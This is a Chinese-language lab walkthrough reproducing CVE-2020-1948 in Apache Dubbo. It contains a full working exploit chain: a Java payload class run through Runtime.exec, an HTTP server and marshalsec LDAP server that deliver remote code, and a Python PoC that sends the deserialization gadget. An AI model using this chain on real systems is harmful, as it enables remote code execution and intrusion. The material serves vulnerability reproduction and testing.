Apache Dubbo CVE-2020-1948 反序列化漏洞利用

0x00 漏洞背景

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

0x01 影响版本

    Dubbo 2.7.0 - 2.7.6

    Dubbo 2.6.0 - 2.6.7

    Dubbo 2.5.x (官方不再维护)

0x02 环境搭建

物理机IP:172.16.3.72

虚拟机IP:172.16.1.68

虚拟机中使用docker部署环境:

1、构建

#docker build -t dsolab/dubbo:cve-2020-1948 .

Apache Dubbo CVE-2020-1948 反序列化漏洞利用_第1张图片

挺慢,耐心等待。

2、运行

#docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

Apache Dubbo CVE-2020-1948 反序列化漏洞利用_第2张图片

3、查看12345端口开放情况

至此,漏洞环境部署好了。

0x02 漏洞利用

物理机上:

1、新建poc.java文件,exec后写上要执行的命令,我们通过ping命令来验证命令执行是否存在

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;




public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("ping zhcv4r.dnslog.cn");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}

2、poc编译

#javac exp.java        生成exp.class文件

3、启用一个静态网站,将exp.class放置到网站根目录

#python -m SimpleHTTPServer 80

4、启用LDAP代理服务

#java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.16.3.72/#exp 777

marshalsec 下载地址:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

5、构建测试POC

安装依赖包:pip install dubbo-py

poc.py内容如下:

# poc.py
# -*- coding: utf-8 -*-




import sys




from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient




if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()




client = DubboClient(sys.argv[1], int(sys.argv[2]))




JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )




resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])




output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

6、测试漏洞是否存在

#python3 poc.py 172.16.1.68 12345 ldap://172.16.3.72:777/exp

我们可以看到返回成功,再去dnslog查看一下:

Apache Dubbo CVE-2020-1948 反序列化漏洞利用_第3张图片

可以看到命令执行成功,除此之外,我们还可以观察 LDAP 代理:

当出现请求转发时,同样表明POC利用成功。

参考链接:https://github.com/DSO-Lab/Dubbo-CVE-2020-1948

长按下方图片关注我们:

你可能感兴趣的:(Apache Dubbo CVE-2020-1948 反序列化漏洞利用)